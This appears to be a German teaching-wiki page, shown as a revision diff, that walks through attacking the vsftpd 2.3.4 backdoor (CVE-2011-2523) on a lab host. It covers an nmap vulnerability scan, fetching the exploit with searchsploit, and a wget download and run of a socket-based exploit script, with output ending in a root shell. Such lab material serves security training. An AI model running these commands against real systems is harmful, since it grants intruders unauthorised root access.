Vsftp4-angriff: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | =Angreifer= | + | = Angreifer: vsftpd 2.3.4 Backdoor = |
| − | ==Scan== | + | |
| − | *nmap -sV | + | == Scan mit Nmap == |
| + | |||
| + | *nmap -sV --script vuln 10.0.10.105 -p 21 | ||
<pre> | <pre> | ||
| − | |||
| − | |||
| − | |||
| − | |||
PORT STATE SERVICE VERSION | PORT STATE SERVICE VERSION | ||
21/tcp open ftp vsftpd 2.3.4 | 21/tcp open ftp vsftpd 2.3.4 | ||
| Zeile 14: | Zeile 12: | ||
| State: VULNERABLE (Exploitable) | | State: VULNERABLE (Exploitable) | ||
| IDs: BID:48539 CVE:CVE-2011-2523 | | IDs: BID:48539 CVE:CVE-2011-2523 | ||
| − | |||
| − | |||
| − | |||
| Shell command: id | | Shell command: id | ||
| Results: uid=0(root) gid=0(root) | | Results: uid=0(root) gid=0(root) | ||
| + | | Disclosure date: 2011-07-03 | ||
| References: | | References: | ||
| − | |||
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 | | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 | ||
| − | | https://www. | + | | https://www.exploit-db.com/exploits/49757 |
|_ http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html | |_ http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html | ||
| − | + | </pre> | |
| − | + | ||
| + | == Zwei Möglichkeiten zur Exploit-Beschaffung == | ||
| − | + | === 1. Mit searchsploit === | |
| − | + | *searchsploit vsftpd 2.3.4 | |
| − | |||
| − | = | ||
| − | == | ||
| − | *searchsploit vsftpd 2.3.4 | ||
*searchsploit -m unix/remote/49757.py | *searchsploit -m unix/remote/49757.py | ||
| − | == | + | === 2. Manuell suchen === |
| − | ;CVE-2011-2523 exploit-db | + | ;Nach Exploit googeln: |
| + | *CVE-2011-2523 exploit-db | ||
*https://www.exploit-db.com/exploits/49757 | *https://www.exploit-db.com/exploits/49757 | ||
| − | ==Exploit ausführen== | + | |
| − | + | == Exploit ausführen == | |
| − | telnetlib | + | |
| − | *python3 49757.py 10.0.10.105 | + | === Option 1: Original (telnetlib, veraltet) === |
| − | + | *python3 49757.py 10.0.10.105 | |
| − | + | → Bei aktuellen Systemen schlägt dies fehl wegen fehlendem `telnetlib`: | |
| + | <pre> | ||
| + | ModuleNotFoundError: No module named 'telnetlib' | ||
| + | </pre> | ||
| + | |||
| + | === Option 2: Alternative mit socket === | ||
'''Wir geben aber nicht auf :-)''' | '''Wir geben aber nicht auf :-)''' | ||
| − | + | *Man ersetzt `telnetlib` durch `socket` | |
| − | *wget https://xinux.de/downloads/python/49757-socket.py | + | *Vordefinierte Version: |
| − | + | <pre> | |
| + | wget https://xinux.de/downloads/python/49757-socket.py | ||
| + | python3 49757-socket.py 10.0.10.105 | ||
| + | </pre> | ||
| + | |||
| + | → Ausgabe: | ||
| + | <pre> | ||
| + | [+] FTP Banner: 220 (vsFTPd 2.3.4) | ||
| + | [+] Success! Connected to shell on port 6200. | ||
| + | [*] Type commands, Ctrl+C to exit. | ||
| + | shell> id | ||
| + | uid=0(root) gid=0(root) | ||
| + | </pre> | ||
Aktuelle Version vom 18. Mai 2025, 16:40 Uhr
Angreifer: vsftpd 2.3.4 Backdoor
Scan mit Nmap
- nmap -sV --script vuln 10.0.10.105 -p 21
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 | ftp-vsftpd-backdoor: | VULNERABLE: | vsFTPd version 2.3.4 backdoor | State: VULNERABLE (Exploitable) | IDs: BID:48539 CVE:CVE-2011-2523 | Shell command: id | Results: uid=0(root) gid=0(root) | Disclosure date: 2011-07-03 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 | https://www.exploit-db.com/exploits/49757 |_ http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
Zwei Möglichkeiten zur Exploit-Beschaffung
1. Mit searchsploit
- searchsploit vsftpd 2.3.4
- searchsploit -m unix/remote/49757.py
2. Manuell suchen
- Nach Exploit googeln
- CVE-2011-2523 exploit-db
- https://www.exploit-db.com/exploits/49757
Exploit ausführen
Option 1: Original (telnetlib, veraltet)
- python3 49757.py 10.0.10.105
→ Bei aktuellen Systemen schlägt dies fehl wegen fehlendem `telnetlib`:
ModuleNotFoundError: No module named 'telnetlib'
Option 2: Alternative mit socket
Wir geben aber nicht auf :-)
- Man ersetzt `telnetlib` durch `socket`
- Vordefinierte Version:
wget https://xinux.de/downloads/python/49757-socket.py python3 49757-socket.py 10.0.10.105
→ Ausgabe:
[+] FTP Banner: 220 (vsFTPd 2.3.4) [+] Success! Connected to shell on port 6200. [*] Type commands, Ctrl+C to exit. shell> id uid=0(root) gid=0(root)